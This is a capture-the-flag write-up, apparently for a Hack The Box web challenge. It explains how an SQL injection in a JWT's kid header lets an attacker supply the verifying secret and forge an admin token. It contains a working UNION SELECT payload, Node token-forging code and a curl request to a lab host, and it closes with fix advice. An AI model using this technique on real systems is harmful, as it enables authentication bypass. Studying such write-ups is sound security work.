Gist#

The JWT verification secret is fetched from the database using the token’s own kid header — concatenated into a raw SQL string. A UNION SELECT in kid makes the server return a secret you chose, so you can forge a token as admin that verifies against your own key. The admin dashboard then reads /flag.

The vulnerable lookup#

The app is multi-tenant: each tenant has a kid, a tenant name, and an HMAC secret. Login signs a JWT with that tenant’s secret and stamps the kid into the header. On every authenticated request the middleware reads the kid back from the untrusted token and looks up the secret:

1
// database.js — getAppKey()
2
async getAppKey(kid) {
3
  // TODO: add parametrization
4
  let query = `SELECT * FROM app_config WHERE kid = '${kid}';`;  // <-- SQLi
5
  return await this.db.get(query);
6
}

1
// middleware/AuthMiddleware.js (flow)
2
JWTHelper.getKid(req.cookies.session)   // = jwt.decode(token).header.kid  → attacker-controlled
3
  .then(kid => db.getAppKey(kid)        // SQLi here
4
  .then(appKey => JWTHelper.verify(token, appKey.secret)  // verifies with the row we returned
5
  .then(data => { req.data = { username: data.username, tenant: data.tenant }; next(); })));

The kid header is just base64 in the JWT — no signature is needed to set it. Because getAppKey returns the secret used to verify the very same token, controlling the query output means controlling the verification key.

The payoff#

1
// routes/index.js — /dashboard
2
if (user.username == "admin") flag = fs.readFileSync('/flag', 'utf8');

So the goal is simply a token that (a) verifies and (b) has username: "admin". We supply both the payload and the verifying secret via the injection.

Exploit#

1. Pick an arbitrary secret you know, e.g. pwn. Build a JWT whose header kid injects a UNION SELECT returning that secret:

   1
   ' UNION SELECT 'x','admin','pwn'-- -
   

   The resulting query becomes SELECT * FROM app_config WHERE kid = '' UNION SELECT 'x','admin','pwn'-- -', yielding a row with secret = "pwn".

2. Sign the token with HS256 using pwn, payload { "username": "admin", "tenant": "gr_office" }, and that kid in the header:

   1
   const jwt = require('jsonwebtoken');
   2
   const kid = "' UNION SELECT 'x','admin','pwn'-- -";
   3
   const token = jwt.sign(
   4
     { username: 'admin', tenant: 'gr_office' },
   5
     'pwn', { algorithm: 'HS256', header: { kid } });
   

3. Send it as the session cookie to /dashboard. The middleware returns our injected secret, the token verifies, username === "admin", and the response renders the flag:

   1
   curl -s http://154.57.164.82:32051/dashboard -H "Cookie: session=$token" | grep -o 'HTB{[^}]*}'
   

Note: The tenant secrets are random per-deploy — brute force is hopeless. The SQLi sidesteps them entirely by supplying the verifying key itself.

Flag#

1
HTB{…captured via forged admin JWT…}

Takeaways#

• Deriving the verification key from an attacker-controlled token field (kid) is the root sin — it turns any read primitive into full auth bypass.
• The SQLi didn’t need to exfiltrate anything; the UNION SELECT output is the secret the app then trusts.
• Fix: parameterize the kid lookup; treat kid as an opaque identifier validated against a known set; never let untrusted input choose the verification key.